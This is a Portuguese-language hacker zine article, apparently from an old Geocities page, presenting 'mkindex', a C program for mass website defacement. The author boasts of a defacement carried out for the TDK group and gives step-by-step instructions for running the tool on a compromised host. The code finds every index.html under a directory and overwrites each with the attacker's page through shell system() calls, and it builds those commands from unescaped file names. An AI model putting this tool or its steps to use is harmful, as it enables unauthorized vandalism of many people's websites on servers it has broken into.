Make index

Este programa foi criado depois de um MASS HACK que eu e o encripty
fizemos pela TDK. O que fizemos foi hacka um servidor de pages e entao
mudamos todos os index.html por um novo que achamos mais bunito. =)
Uma pena eu soh ter criado este programa depois de ter feito o
defacement, pois teriamos ownado muito mais pages do que ownamos fazendo a
mudanca manualmente.
O programa eh bem simples e usa diversos system()'s para fazer o
trabalho.
O que voce precisa fazer eh o seguinte:

1. Envie para o host ownado este programa e a page que substituira as d+;
2. Renomeie a page para index.tdk;
3. Compile o programa, deixando o prg no mesmo dir do index.tdk;
4. Encontre o diretorio onde ficam as pages dos users (ex. /home);
5. Rode o programa na seguinte sintaxe: ./mkindex <dir_das pgs>.

Agora na tela sera exibido todos os files que o programa esta copiando.

<++> mkindex/mkindex.c
/* Make Index by Cheat Struck
*
* Este eh mais um prog lito das companias Struck(C) para voce.
* O que essa porra faiz eh copiar um arquivo index.html para diversos
* destinos.
* Eh muito facil de se usar. Basta especificar um diretorio e o prog
* procura por todos os index.html neste dir e em seus subdirs (isto pode
* deixar o programa um pouco retardado caso entre com o dir raiz por
* exemplo) e entao substitui-os pelo arquivo index.tdk (default).
*
* Como Usar:
* bash# mkindex /www
* Make Index by Cheat Struck
* cp -f index.tdk /www/one/index.html
* cp -f index.tdk /www/two/index.html
* cp -f index.tdk /www/3/index.html
* bash#
*
*/


#define INDEX_F "index.tdk"
// Ponha aki o arquivo q substituira os demais
#define PROCURA "index.html"
// O programa vai procurar por este arquivo no diretorio especificado


#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]) {

FILE *fp;
char com[250], f[150];

printf(" Make Index by Cheat Struck\n");
if(argc<2) {
printf("use : %s <dir>\n",argv[0]);
printf("exemplo: %s /www\n",argv[0]);
exit(1);
}
else {
sprintf(com,"find %s -name %s >> list",argv[1], PROCURA);
system(com);
fp = fopen("list","r");
while( !feof(fp) ) {
if( fgets(f,150, fp) == NULL) break;
f[strlen(f) - 1] = ' ';
sprintf(com, "cp -f %s %s",INDEX_F,f);
printf("%s\n",com);
system(com);
}
system("rm -f list");
}
}

<-->

 

Hosted by www.Geocities.ws

Copyright © Cyber Nine/Crack's S.A todos direitos reservados
Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

1